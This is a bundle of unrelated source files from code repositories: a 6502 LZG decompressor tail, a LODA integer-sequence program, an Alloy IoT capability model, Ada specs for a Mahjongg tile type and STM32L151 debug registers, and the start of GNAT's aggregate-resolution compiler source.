lsr
lsr
lsr
lsr
sta .offset + 1
lda (srcPointer),y
inc srcPointer
bne .noinc6
inc srcPointer + 1
.noinc6:
clc
adc #8
sta .offset
bcc .noinc7
inc .offset + 1 ; offset = (((b & 0xe0) << 3) | b2) + 8
.noinc7:
txa
and #$1f
tax
lda .LZG_LENGTH_DECODE_LUT,x
sta .length ; length = .LZG_LENGTH_DECODE_LUT[b & 0x1f]
bne .docopy
.literal2:
jmp .literal
; marker1 - "Distant copy"
.domarker1b:
lda (srcPointer),y
inc srcPointer
bne .noinc8
inc srcPointer + 1
.noinc8:
cmp #0
beq .literal2 ; Single occurance of the marker symbol (rare)
and #$1f
tax
lda .LZG_LENGTH_DECODE_LUT,x
sta .length ; length = .LZG_LENGTH_DECODE_LUT[b & 0x1f]
lda (srcPointer),y
inc srcPointer
bne .noinc9
inc srcPointer + 1
.noinc9:
sta .offset + 1
lda (srcPointer),y
inc srcPointer
bne .noinc10
inc srcPointer + 1
.noinc10:
clc
adc #$08
sta .offset
lda .offset + 1
adc #$08
sta .offset + 1 ; offset = ((b2 << 8) | (*src++)) + 2056
; Copy corresponding data from history window
.docopy:
sec
lda dstPointer
sbc .offset
sta .copy
lda dstPointer + 1
sbc .offset + 1
sta .copy + 1
.loop1:
lda (.copy),y
sta (dstPointer),y
iny
cpy .length
bne .loop1
ldy #0 ; Make sure that Y is zero
clc
lda dstPointer
adc .length
sta dstPointer
bcc .noinc11
inc dstPointer + 1
.noinc11:
jmp .mainloop
; Lookup Table for decoding the copy length parameter
.LZG_LENGTH_DECODE_LUT
BYTE 2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,35,48,72,128
|
programs/oeis/157/A157375.asm | neoneye/loda | 22 | 169881 | ; A157375: a(n) = 2401*n^2 - 980*n + 99.
; 1520,7743,18768,34595,55224,80655,110888,145923,185760,230399,279840,334083,393128,456975,525624,599075,677328,760383,848240,940899,1038360,1140623,1247688,1359555,1476224,1597695,1723968,1855043,1990920,2131599,2277080,2427363,2582448,2742335,2907024,3076515,3250808,3429903,3613800,3802499,3996000,4194303,4397408,4605315,4818024,5035535,5257848,5484963,5716880,5953599,6195120,6441443,6692568,6948495,7209224,7474755,7745088,8020223,8300160,8584899,8874440,9168783,9467928,9771875,10080624,10394175,10712528,11035683,11363640,11696399,12033960,12376323,12723488,13075455,13432224,13793795,14160168,14531343,14907320,15288099,15673680,16064063,16459248,16859235,17264024,17673615,18088008,18507203,18931200,19359999,19793600,20232003,20675208,21123215,21576024,22033635,22496048,22963263,23435280,23912099
seq $0,157374 ; a(n) = 343*n - 70.
pow $0,2
div $0,49
sub $0,1
|
FormalAnalyzer/models/meta/cap_audioVolume.als | Mohannadcse/IoTCOM_BehavioralRuleExtractor | 0 | 3354 |
// filename: cap_audioVolume.als
module cap_audioVolume
open IoTBottomUp
one sig cap_audioVolume extends Capability {}
{
attributes = cap_audioVolume_attr
}
abstract sig cap_audioVolume_attr extends Attribute {}
one sig cap_audioVolume_attr_volume extends cap_audioVolume_attr {}
{
values = cap_audioVolume_attr_volume_val
}
abstract sig cap_audioVolume_attr_volume_val extends AttrValue {}
|
tools/scitools/sample/mahjongg/tile.ads | brucegua/moocos | 1 | 22037 | --------------------------------------------------------------------
--| Package : TileADT Version :
--------------------------------------------------------------------
--| Abstract : Provides an ADT for a TILE in the Mahjongg game.
--------------------------------------------------------------------
--| Compiler/System : IBM AIX/Ada 6000
--| Author : <NAME> Date : 1/93
--| References :
--------------------------------------------------------------------
--| NOTES :
--| :
--| Version History :
--------------------------------------------------------------------
PACKAGE TileADT IS
TYPE Tile IS PRIVATE;
TYPE TilePair is record
Alpha: Tile;
Bravo: Tile;
end record;
RowBound : Constant INTEGER := 9;
ColBound : Constant CHARACTER := 'O';
LayerBound : Constant INTEGER := 5;
SUBTYPE Row is INTEGER RANGE 1 .. RowBound; -- Row Positions
SUBTYPE Col is CHARACTER RANGE 'A' .. ColBound; -- Column positions
SUBTYPE Layer is INTEGER RANGE 1 .. LayerBound; -- Layers high
--(1 is bottom, 5 is top)
SUBTYPE TileValue is INTEGER RANGE -1 .. 42; -- Legal tile values
FUNCTION Create (TheCol: Col; TheRow : Row; TheLayer : Layer) RETURN TILE;
-- Assumes : TheCol, TheRow, TheLayer have values.
-- Uses : TheRow indicates which row on the board.
-- TheCol indicates which column on the board.
-- TheLayer indicates which layer on the board.
-- Results : A Tile is created and assigned a position TheCol,TheRow,TheLayer.
PROCEDURE SetValue (TheTile : IN OUT Tile; Value : TileValue);
-- Assumes : nothing (though it makes sense that it have been created).
-- Uses : TheTile and Value
-- Results : TheTile is assigned Value
FUNCTION GetValue (TheTile : Tile) RETURN TileValue;
-- Assumes : TheTile has a value
-- Uses : TheTile
-- Results : Returns the current value of TheTile.
FUNCTION GetLayer (TheTile : Tile) RETURN Layer;
-- Assumes : TheTile has a value
-- Uses : TheTile
-- Results : Returns TheTile's layer.
FUNCTION GetRow (TheTile : Tile) RETURN Row;
-- Assumes : TheTile has a value
-- Uses : TheTile
-- Results : Returns TheTile's Row.
FUNCTION GetCol (TheTile : Tile) RETURN Col;
-- Assumes : TheTile has a value
-- Uses : TheTile
-- Results : Returns TheTile's Col.
FUNCTION IsMatch (Tile1, Tile2 : Tile) RETURN BOOLEAN;
-- Assumes : Tile1, Tile2 have values.
-- Uses : Tile1, Tile2.
-- Results : Returns TRUE if Tile1 has the same value as Tile2, FALSE otherwise.
-- Notes : TRUE only on exact match. Doesn't deal with seasons or other
-- "suit" type tiles.
PRIVATE
TYPE Tile is RECORD
Col_Pos : Col;
Row_Pos : Row;
Layer_Pos: Layer;
Value : TileValue;
END RECORD;
END TileADT;
|
arch/ARM/STM32/svd/stm32l151/stm32_svd-dbgmcu.ads | morbos/Ada_Drivers_Library | 2 | 18138 | <reponame>morbos/Ada_Drivers_Library<filename>arch/ARM/STM32/svd/stm32l151/stm32_svd-dbgmcu.ads<gh_stars>1-10
-- This spec has been automatically generated from STM32L151.svd
pragma Restrictions (No_Elaboration_Code);
pragma Ada_2012;
pragma Style_Checks (Off);
with HAL;
with System;
package STM32_SVD.DBGMCU is
pragma Preelaborate;
---------------
-- Registers --
---------------
subtype IDCODE_DEV_ID_Field is HAL.UInt12;
subtype IDCODE_REV_ID_Field is HAL.UInt16;
-- DBGMCU_IDCODE
type IDCODE_Register is record
-- Read-only. Device identifier
DEV_ID : IDCODE_DEV_ID_Field;
-- unspecified
Reserved_12_15 : HAL.UInt4;
-- Read-only. Revision identifie
REV_ID : IDCODE_REV_ID_Field;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for IDCODE_Register use record
DEV_ID at 0 range 0 .. 11;
Reserved_12_15 at 0 range 12 .. 15;
REV_ID at 0 range 16 .. 31;
end record;
subtype CR_TRACE_MODE_Field is HAL.UInt2;
-- Debug MCU configuration register
type CR_Register is record
-- Debug Sleep mode
DBG_SLEEP : Boolean := False;
-- Debug Stop mode
DBG_STOP : Boolean := False;
-- Debug Standby mode
DBG_STANDBY : Boolean := False;
-- unspecified
Reserved_3_4 : HAL.UInt2 := 16#0#;
-- Trace pin assignment control
TRACE_IOEN : Boolean := False;
-- Trace pin assignment control
TRACE_MODE : CR_TRACE_MODE_Field := 16#0#;
-- unspecified
Reserved_8_31 : HAL.UInt24 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for CR_Register use record
DBG_SLEEP at 0 range 0 .. 0;
DBG_STOP at 0 range 1 .. 1;
DBG_STANDBY at 0 range 2 .. 2;
Reserved_3_4 at 0 range 3 .. 4;
TRACE_IOEN at 0 range 5 .. 5;
TRACE_MODE at 0 range 6 .. 7;
Reserved_8_31 at 0 range 8 .. 31;
end record;
-- Debug MCU APB1 freeze register1
type APB1_FZ_Register is record
-- TIM2 counter stopped when core is halted
DBG_TIM2_STOP : Boolean := False;
-- TIM3 counter stopped when core is halted
DBG_TIM3_STOP : Boolean := False;
-- TIM4 counter stopped when core is halted
DBG_TIM4_STOP : Boolean := False;
-- TIM5 counter stopped when core is halted
DBG_TIM5_STOP : Boolean := False;
-- TIM6 counter stopped when core is halted
DBG_TIM6_STOP : Boolean := False;
-- TIM7 counter stopped when core is halted
DBG_TIM7_STOP : Boolean := False;
-- unspecified
Reserved_6_9 : HAL.UInt4 := 16#0#;
-- Debug RTC stopped when core is halted
DBG_RTC_STOP : Boolean := False;
-- Debug window watchdog stopped when core is halted
DBG_WWDG_STOP : Boolean := False;
-- Debug independent watchdog stopped when core is halted
DBG_IWDG_STOP : Boolean := False;
-- unspecified
Reserved_13_20 : HAL.UInt8 := 16#0#;
-- SMBUS timeout mode stopped when core is halted
DBG_I2C1_SMBUS_TIMEOUT : Boolean := False;
-- SMBUS timeout mode stopped when core is halted
DBG_I2C2_SMBUS_TIMEOUT : Boolean := False;
-- unspecified
Reserved_23_31 : HAL.UInt9 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for APB1_FZ_Register use record
DBG_TIM2_STOP at 0 range 0 .. 0;
DBG_TIM3_STOP at 0 range 1 .. 1;
DBG_TIM4_STOP at 0 range 2 .. 2;
DBG_TIM5_STOP at 0 range 3 .. 3;
DBG_TIM6_STOP at 0 range 4 .. 4;
DBG_TIM7_STOP at 0 range 5 .. 5;
Reserved_6_9 at 0 range 6 .. 9;
DBG_RTC_STOP at 0 range 10 .. 10;
DBG_WWDG_STOP at 0 range 11 .. 11;
DBG_IWDG_STOP at 0 range 12 .. 12;
Reserved_13_20 at 0 range 13 .. 20;
DBG_I2C1_SMBUS_TIMEOUT at 0 range 21 .. 21;
DBG_I2C2_SMBUS_TIMEOUT at 0 range 22 .. 22;
Reserved_23_31 at 0 range 23 .. 31;
end record;
-- Debug MCU APB1 freeze register 2
type APB2_FZ_Register is record
-- unspecified
Reserved_0_1 : HAL.UInt2 := 16#0#;
-- TIM counter stopped when core is halted
DBG_TIM9_STOP : Boolean := False;
-- TIM counter stopped when core is halted
DBG_TIM10_STOP : Boolean := False;
-- TIM counter stopped when core is halted
DBG_TIM11_STOP : Boolean := False;
-- unspecified
Reserved_5_31 : HAL.UInt27 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for APB2_FZ_Register use record
Reserved_0_1 at 0 range 0 .. 1;
DBG_TIM9_STOP at 0 range 2 .. 2;
DBG_TIM10_STOP at 0 range 3 .. 3;
DBG_TIM11_STOP at 0 range 4 .. 4;
Reserved_5_31 at 0 range 5 .. 31;
end record;
-----------------
-- Peripherals --
-----------------
-- debug support
type DBGMCU_Peripheral is record
-- DBGMCU_IDCODE
IDCODE : aliased IDCODE_Register;
-- Debug MCU configuration register
CR : aliased CR_Register;
-- Debug MCU APB1 freeze register1
APB1_FZ : aliased APB1_FZ_Register;
-- Debug MCU APB1 freeze register 2
APB2_FZ : aliased APB2_FZ_Register;
end record
with Volatile;
for DBGMCU_Peripheral use record
IDCODE at 16#0# range 0 .. 31;
CR at 16#4# range 0 .. 31;
APB1_FZ at 16#8# range 0 .. 31;
APB2_FZ at 16#C# range 0 .. 31;
end record;
-- debug support
DBGMCU_Periph : aliased DBGMCU_Peripheral
with Import, Address => System'To_Address (16#E0042000#);
end STM32_SVD.DBGMCU;
|
tools-src/gnu/gcc/gcc/ada/sem_aggr.adb | enfoTek/tomato.linksys.e2000.nvram-mod | 80 | 16884 | ------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- S E M _ A G G R --
-- --
-- B o d y --
-- --
-- $Revision$
-- --
-- Copyright (C) 1992-2001 Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, --
-- MA 02111-1307, USA. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
with Atree; use Atree;
with Checks; use Checks;
with Einfo; use Einfo;
with Elists; use Elists;
with Errout; use Errout;
with Exp_Util; use Exp_Util;
with Freeze; use Freeze;
with Itypes; use Itypes;
with Namet; use Namet;
with Nmake; use Nmake;
with Nlists; use Nlists;
with Opt; use Opt;
with Sem; use Sem;
with Sem_Cat; use Sem_Cat;
with Sem_Ch8; use Sem_Ch8;
with Sem_Ch13; use Sem_Ch13;
with Sem_Eval; use Sem_Eval;
with Sem_Res; use Sem_Res;
with Sem_Util; use Sem_Util;
with Sem_Type; use Sem_Type;
with Sinfo; use Sinfo;
with Snames; use Snames;
with Stringt; use Stringt;
with Stand; use Stand;
with Tbuild; use Tbuild;
with Uintp; use Uintp;
with GNAT.Spelling_Checker; use GNAT.Spelling_Checker;
package body Sem_Aggr is
type Case_Bounds is record
Choice_Lo : Node_Id;
Choice_Hi : Node_Id;
Choice_Node : Node_Id;
end record;
type Case_Table_Type is array (Nat range <>) of Case_Bounds;
-- Table type used by Check_Case_Choices procedure
-----------------------
-- Local Subprograms --
-----------------------
procedure Sort_Case_Table (Case_Table : in out Case_Table_Type);
-- Sort the Case Table using the Lower Bound of each Choice as the key.
-- A simple insertion sort is used since the number of choices in a case
-- statement of variant part will usually be small and probably in near
-- sorted order.
------------------------------------------------------
-- Subprograms used for RECORD AGGREGATE Processing --
------------------------------------------------------
procedure Resolve_Record_Aggregate (N : Node_Id; Typ : Entity_Id);
-- This procedure performs all the semantic checks required for record
-- aggregates. Note that for aggregates analysis and resolution go
-- hand in hand. Aggregate analysis has been delayed up to here and
-- it is done while resolving the aggregate.
--
-- N is the N_Aggregate node.
-- Typ is the record type for the aggregate resolution
--
-- While performing the semantic checks, this procedure
-- builds a new Component_Association_List where each record field
-- appears alone in a Component_Choice_List along with its corresponding
-- expression. The record fields in the Component_Association_List
-- appear in the same order in which they appear in the record type Typ.
--
-- Once this new Component_Association_List is built and all the
-- semantic checks performed, the original aggregate subtree is replaced
-- with the new named record aggregate just built. Note that the subtree
-- substitution is performed with Rewrite so as to be
-- able to retrieve the original aggregate.
--
-- The aggregate subtree manipulation performed by Resolve_Record_Aggregate
-- yields the aggregate format expected by Gigi. Typically, this kind of
-- tree manipulations are done in the expander. However, because the
-- semantic checks that need to be performed on record aggregates really
-- go hand in hand with the record aggreagate normalization, the aggregate
-- subtree transformation is performed during resolution rather than
-- expansion. Had we decided otherwise we would have had to duplicate
-- most of the code in the expansion procedure Expand_Record_Aggregate.
-- Note, however, that all the expansion concerning aggegates for tagged
-- records is done in Expand_Record_Aggregate.
--
-- The algorithm of Resolve_Record_Aggregate proceeds as follows:
--
-- 1. Make sure that the record type against which the record aggregate
-- has to be resolved is not abstract. Furthermore if the type is
-- a null aggregate make sure the input aggregate N is also null.
--
-- 2. Verify that the structure of the aggregate is that of a record
-- aggregate. Specifically, look for component associations and ensure
-- that each choice list only has identifiers or the N_Others_Choice
-- node. Also make sure that if present, the N_Others_Choice occurs
-- last and by itself.
--
-- 3. If Typ contains discriminants, the values for each discriminant
-- is looked for. If the record type Typ has variants, we check
-- that the expressions corresponding to each discriminant ruling
-- the (possibly nested) variant parts of Typ, are static. This
-- allows us to determine the variant parts to which the rest of
-- the aggregate must conform. The names of discriminants with their
-- values are saved in a new association list, New_Assoc_List which
-- is later augmented with the names and values of the remaining
-- components in the record type.
--
-- During this phase we also make sure that every discriminant is
-- assigned exactly one value. Note that when several values
-- for a given discriminant are found, semantic processing continues
-- looking for further errors. In this case it's the first
-- discriminant value found which we will be recorded.
--
-- IMPORTANT NOTE: For derived tagged types this procedure expects
-- First_Discriminant and Next_Discriminant to give the correct list
-- of discriminants, in the correct order.
--
-- 4. After all the discriminant values have been gathered, we can
-- set the Etype of the record aggregate. If Typ contains no
-- discriminants this is straightforward: the Etype of N is just
-- Typ, otherwise a new implicit constrained subtype of Typ is
-- built to be the Etype of N.
--
-- 5. Gather the remaining record components according to the discriminant
-- values. This involves recursively traversing the record type
-- structure to see what variants are selected by the given discriminant
-- values. This processing is a little more convoluted if Typ is a
-- derived tagged types since we need to retrieve the record structure
-- of all the ancestors of Typ.
--
-- 6. After gathering the record components we look for their values
-- in the record aggregate and emit appropriate error messages
-- should we not find such values or should they be duplicated.
--
-- 7. We then make sure no illegal component names appear in the
-- record aggegate and make sure that the type of the record
-- components appearing in a same choice list is the same.
-- Finally we ensure that the others choice, if present, is
-- used to provide the value of at least a record component.
--
-- 8. The original aggregate node is replaced with the new named
-- aggregate built in steps 3 through 6, as explained earlier.
--
-- Given the complexity of record aggregate resolution, the primary
-- goal of this routine is clarity and simplicity rather than execution
-- and storage efficiency. If there are only positional components in the
-- aggregate the running time is linear. If there are associations
-- the running time is still linear as long as the order of the
-- associations is not too far off the order of the components in the
-- record type. If this is not the case the running time is at worst
-- quadratic in the size of the association list.
procedure Check_Misspelled_Component
(Elements : Elist_Id;
Component : Node_Id);
-- Give possible misspelling diagnostic if Component is likely to be
-- a misspelling of one of the components of the Assoc_List.
-- This is called by Resolv_Aggr_Expr after producing
-- an invalid component error message.
procedure Check_Static_Discriminated_Subtype (T : Entity_Id; V : Node_Id);
-- An optimization: determine whether a discriminated subtype has a
-- static constraint, and contains array components whose length is also
-- static, either because they are constrained by the discriminant, or
-- because the original component bounds are static.
-----------------------------------------------------
-- Subprograms used for ARRAY AGGREGATE Processing --
-----------------------------------------------------
function Resolve_Array_Aggregate
(N : Node_Id;
Index : Node_Id;
Index_Constr : Node_Id;
Component_Typ : Entity_Id;
Others_Allowed : Boolean)
return Boolean;
-- This procedure performs the semantic checks for an array aggregate.
-- True is returned if the aggregate resolution succeeds.
-- The procedure works by recursively checking each nested aggregate.
-- Specifically, after checking a sub-aggreate nested at the i-th level
-- we recursively check all the subaggregates at the i+1-st level (if any).
-- Note that for aggregates analysis and resolution go hand in hand.
-- Aggregate analysis has been delayed up to here and it is done while
-- resolving the aggregate.
--
-- N is the current N_Aggregate node to be checked.
--
-- Index is the index node corresponding to the array sub-aggregate that
-- we are currently checking (RM 4.3.3 (8)). Its Etype is the
-- corresponding index type (or subtype).
--
-- Index_Constr is the node giving the applicable index constraint if
-- any (RM 4.3.3 (10)). It "is a constraint provided by certain
-- contexts [...] that can be used to determine the bounds of the array
-- value specified by the aggregate". If Others_Allowed below is False
-- there is no applicable index constraint and this node is set to Index.
--
-- Component_Typ is the array component type.
--
-- Others_Allowed indicates whether an others choice is allowed
-- in the context where the top-level aggregate appeared.
--
-- The algorithm of Resolve_Array_Aggregate proceeds as follows:
--
-- 1. Make sure that the others choice, if present, is by itself and
-- appears last in the sub-aggregate. Check that we do not have
-- positional and named components in the array sub-aggregate (unless
-- the named association is an others choice). Finally if an others
-- choice is present, make sure it is allowed in the aggregate contex.
--
-- 2. If the array sub-aggregate contains discrete_choices:
--
-- (A) Verify their validity. Specifically verify that:
--
-- (a) If a null range is present it must be the only possible
-- choice in the array aggregate.
--
-- (b) Ditto for a non static range.
--
-- (c) Ditto for a non static expression.
--
-- In addition this step analyzes and resolves each discrete_choice,
-- making sure that its type is the type of the corresponding Index.
-- If we are not at the lowest array aggregate level (in the case of
-- multi-dimensional aggregates) then invoke Resolve_Array_Aggregate
-- recursively on each component expression. Otherwise, resolve the
-- bottom level component expressions against the expected component
-- type ONLY IF the component corresponds to a single discrete choice
-- which is not an others choice (to see why read the DELAYED
-- COMPONENT RESOLUTION below).
--
-- (B) Determine the bounds of the sub-aggregate and lowest and
-- highest choice values.
--
-- 3. For positional aggregates:
--
-- (A) Loop over the component expressions either recursively invoking
-- Resolve_Array_Aggregate on each of these for multi-dimensional
-- array aggregates or resolving the bottom level component
-- expressions against the expected component type.
--
-- (B) Determine the bounds of the positional sub-aggregates.
--
-- 4. Try to determine statically whether the evaluation of the array
-- sub-aggregate raises Constraint_Error. If yes emit proper
-- warnings. The precise checks are the following:
--
-- (A) Check that the index range defined by aggregate bounds is
-- compatible with corresponding index subtype.
-- We also check against the base type. In fact it could be that
-- Low/High bounds of the base type are static whereas those of
-- the index subtype are not. Thus if we can statically catch
-- a problem with respect to the base type we are guaranteed
-- that the same problem will arise with the index subtype
--
-- (B) If we are dealing with a named aggregate containing an others
-- choice and at least one discrete choice then make sure the range
-- specified by the discrete choices does not overflow the
-- aggregate bounds. We also check against the index type and base
-- type bounds for the same reasons given in (A).
--
-- (C) If we are dealing with a positional aggregate with an others
-- choice make sure the number of positional elements specified
-- does not overflow the aggregate bounds. We also check against
-- the index type and base type bounds as mentioned in (A).
--
-- Finally construct an N_Range node giving the sub-aggregate bounds.
-- Set the Aggregate_Bounds field of the sub-aggregate to be this
-- N_Range. The routine Array_Aggr_Subtype below uses such N_Ranges
-- to build the appropriate aggregate subtype. Aggregate_Bounds
-- information is needed during expansion.
--
-- DELAYED COMPONENT RESOLUTION: The resolution of bottom level component
-- expressions in an array aggregate may call Duplicate_Subexpr or some
-- other routine that inserts code just outside the outermost aggregate.
-- If the array aggregate contains discrete choices or an others choice,
-- this may be wrong. Consider for instance the following example.
--
-- type Rec is record
-- V : Integer := 0;
-- end record;
--
-- type Acc_Rec is access Rec;
-- Arr : array (1..3) of Acc_Rec := (1 .. 3 => new Rec);
--
-- Then the transformation of "new Rec" that occurs during resolution
-- entails the following code modifications
--
-- P7b : constant Acc_Rec := new Rec;
-- Rec_init_proc (P7b.all);
-- Arr : array (1..3) of Acc_Rec := (1 .. 3 => P7b);
--
-- This code transformation is clearly wrong, since we need to call
-- "new Rec" for each of the 3 array elements. To avoid this problem we
-- delay resolution of the components of non positional array aggregates
-- to the expansion phase. As an optimization, if the discrete choice
-- specifies a single value we do not delay resolution.
function Array_Aggr_Subtype (N : Node_Id; Typ : Node_Id) return Entity_Id;
-- This routine returns the type or subtype of an array aggregate.
--
-- N is the array aggregate node whose type we return.
--
-- Typ is the context type in which N occurs.
--
-- This routine creates an implicit array subtype whose bouds are
-- those defined by the aggregate. When this routine is invoked
-- Resolve_Array_Aggregate has already processed aggregate N. Thus the
-- Aggregate_Bounds of each sub-aggregate, is an N_Range node giving the
-- sub-aggregate bounds. When building the aggegate itype, this function
-- traverses the array aggregate N collecting such Aggregate_Bounds and
-- constructs the proper array aggregate itype.
--
-- Note that in the case of multidimensional aggregates each inner
-- sub-aggregate corresponding to a given array dimension, may provide a
-- different bounds. If it is possible to determine statically that
-- some sub-aggregates corresponding to the same index do not have the
-- same bounds, then a warning is emitted. If such check is not possible
-- statically (because some sub-aggregate bounds are dynamic expressions)
-- then this job is left to the expander. In all cases the particular
-- bounds that this function will chose for a given dimension is the first
-- N_Range node for a sub-aggregate corresponding to that dimension.
--
-- Note that the Raises_Constraint_Error flag of an array aggregate
-- whose evaluation is determined to raise CE by Resolve_Array_Aggregate,
-- is set in Resolve_Array_Aggregate but the aggregate is not
-- immediately replaced with a raise CE. In fact, Array_Aggr_Subtype must
-- first construct the proper itype for the aggregate (Gigi needs
-- this). After constructing the proper itype we will eventually replace
-- the top-level aggregate with a raise CE (done in Resolve_Aggregate).
-- Of course in cases such as:
--
-- type Arr is array (integer range <>) of Integer;
-- A : Arr := (positive range -1 .. 2 => 0);
--
-- The bounds of the aggregate itype are cooked up to look reasonable
-- (in this particular case the bounds will be 1 .. 2).
procedure Aggregate_Constraint_Checks
(Exp : Node_Id;
Check_Typ : Entity_Id);
-- Checks expression Exp against subtype Check_Typ. If Exp is an
-- aggregate and Check_Typ a constrained record type with discriminants,
-- we generate the appropriate discriminant checks. If Exp is an array
-- aggregate then emit the appropriate length checks. If Exp is a scalar
-- type, or a string literal, Exp is changed into Check_Typ'(Exp) to
-- ensure that range checks are performed at run time.
procedure Make_String_Into_Aggregate (N : Node_Id);
-- A string literal can appear in a context in which a one dimensional
-- array of characters is expected. This procedure simply rewrites the
-- string as an aggregate, prior to resolution.
---------------------------------
-- Aggregate_Constraint_Checks --
---------------------------------
procedure Aggregate_Constraint_Checks
(Exp : Node_Id;
Check_Typ : Entity_Id)
is
Exp_Typ : constant Entity_Id := Etype (Exp);
begin
if Raises_Constraint_Error (Exp) then
return;
end if;
-- This is really expansion activity, so make sure that expansion
-- is on and is allowed.
if not Expander_Active or else In_Default_Expression then
return;
end if;
-- First check if we have to insert discriminant checks
if Has_Discriminants (Exp_Typ) then
Apply_Discriminant_Check (Exp, Check_Typ);
-- Next emit length checks for array aggregates
elsif Is_Array_Type (Exp_Typ) then
Apply_Length_Check (Exp, Check_Typ);
-- Finally emit scalar and string checks. If we are dealing with a
-- scalar literal we need to check by hand because the Etype of
-- literals is not necessarily correct.
elsif Is_Scalar_Type (Exp_Typ)
and then Compile_Time_Known_Value (Exp)
then
if Is_Out_Of_Range (Exp, Base_Type (Check_Typ)) then
Apply_Compile_Time_Constraint_Error
(Exp, "value not in range of}?",
Ent => Base_Type (Check_Typ),
Typ => Base_Type (Check_Typ));
elsif Is_Out_Of_Range (Exp, Check_Typ) then
Apply_Compile_Time_Constraint_Error
(Exp, "value not in range of}?",
Ent => Check_Typ,
Typ => Check_Typ);
elsif not Range_Checks_Suppressed (Check_Typ) then
Apply_Scalar_Range_Check (Exp, Check_Typ);
end if;
elsif (Is_Scalar_Type (Exp_Typ)
or else Nkind (Exp) = N_String_Literal)
and then Exp_Typ /= Check_Typ
then
if Is_Entity_Name (Exp)
and then Ekind (Entity (Exp)) = E_Constant
then
-- If expression is a constant, it is worthwhile checking whether
-- it is a bound of the type.
if (Is_Entity_Name (Type_Low_Bound (Check_Typ))
and then Entity (Exp) = Entity (Type_Low_Bound (Check_Typ)))
or else (Is_Entity_Name (Type_High_Bound (Check_Typ))
and then Entity (Exp) = Entity (Type_High_Bound (Check_Typ)))
then
return;
else
Rewrite (Exp, Convert_To (Check_Typ, Relocate_Node (Exp)));
Analyze_And_Resolve (Exp, Check_Typ);
end if;
else
Rewrite (Exp, Convert_To (Check_Typ, Relocate_Node (Exp)));
Analyze_And_Resolve (Exp, Check_Typ);
end if;
end if;
end Aggregate_Constraint_Checks;
------------------------
-- Array_Aggr_Subtype --
------------------------
function Array_Aggr_Subtype
(N : Node_Id;
Typ : Entity_Id)
return Entity_Id
is
Aggr_Dimension : constant Pos := Number_Dimensions (Typ);
-- Number of aggregate index dimensions.
Aggr_Range : array (1 .. Aggr_Dimension) of Node_Id := (others => Empty);
-- Constrained N_Range of each index dimension in our aggregate itype.
Aggr_Low : array (1 .. Aggr_Dimension) of Node_Id := (others => Empty);
Aggr_High : array (1 .. Aggr_Dimension) of Node_Id := (others => Empty);
-- Low and High bounds for each index dimension in our aggregate itype.
Is_Fully_Positional : Boolean := True;
procedure Collect_Aggr_Bounds (N : Node_Id; Dim : Pos);
-- N is an array (sub-)aggregate. Dim is the dimension corresponding to
-- (sub-)aggregate N. This procedure collects the constrained N_Range
-- nodes corresponding to each index dimension of our aggregate itype.
-- These N_Range nodes are collected in Aggr_Range above.
-- Likewise collect in Aggr_Low & Aggr_High above the low and high
-- bounds of each index dimension. If, when collecting, two bounds
-- corresponding to the same dimension are static and found to differ,
-- then emit a warning, and mark N as raising Constraint_Error.
-------------------------
-- Collect_Aggr_Bounds --
-------------------------
procedure Collect_Aggr_Bounds (N : Node_Id; Dim : Pos) is
This_Range : constant Node_Id := Aggregate_Bounds (N);
-- The aggregate range node of this specific sub-aggregate.
This_Low : constant Node_Id := Low_Bound (Aggregate_Bounds (N));
This_High : constant Node_Id := High_Bound (Aggregate_Bounds (N));
-- The aggregate bounds of this specific sub-aggregate.
Assoc : Node_Id;
Expr : Node_Id;
begin
-- Collect the first N_Range for a given dimension that you find.
-- For a given dimension they must be all equal anyway.
if No (Aggr_Range (Dim)) then
Aggr_Low (Dim) := This_Low;
Aggr_High (Dim) := This_High;
Aggr_Range (Dim) := This_Range;
else
if Compile_Time_Known_Value (This_Low) then
if not Compile_Time_Known_Value (Aggr_Low (Dim)) then
Aggr_Low (Dim) := This_Low;
elsif Expr_Value (This_Low) /= Expr_Value (Aggr_Low (Dim)) then
Set_Raises_Constraint_Error (N);
Error_Msg_N ("Sub-aggregate low bound mismatch?", N);
Error_Msg_N ("Constraint_Error will be raised at run-time?",
N);
end if;
end if;
if Compile_Time_Known_Value (This_High) then
if not Compile_Time_Known_Value (Aggr_High (Dim)) then
Aggr_High (Dim) := This_High;
elsif
Expr_Value (This_High) /= Expr_Value (Aggr_High (Dim))
then
Set_Raises_Constraint_Error (N);
Error_Msg_N ("Sub-aggregate high bound mismatch?", N);
Error_Msg_N ("Constraint_Error will be raised at run-time?",
N);
end if;
end if;
end if;
if Dim < Aggr_Dimension then
-- Process positional components
if Present (Expressions (N)) then
Expr := First (Expressions (N));
while Present (Expr) loop
Collect_Aggr_Bounds (Expr, Dim + 1);
Next (Expr);
end loop;
end if;
-- Process component associations
if Present (Component_Associations (N)) then
Is_Fully_Positional := False;
Assoc := First (Component_Associations (N));
while Present (Assoc) loop
Expr := Expression (Assoc);
Collect_Aggr_Bounds (Expr, Dim + 1);
Next (Assoc);
end loop;
end if;
end if;
end Collect_Aggr_Bounds;
-- Array_Aggr_Subtype variables
Itype : Entity_Id;
-- the final itype of the overall aggregate
Index_Constraints : List_Id := New_List;
-- The list of index constraints of the aggregate itype.
-- Start of processing for Array_Aggr_Subtype
begin
-- Make sure that the list of index constraints is properly attached
-- to the tree, and then collect the aggregate bounds.
Set_Parent (Index_Constraints, N);
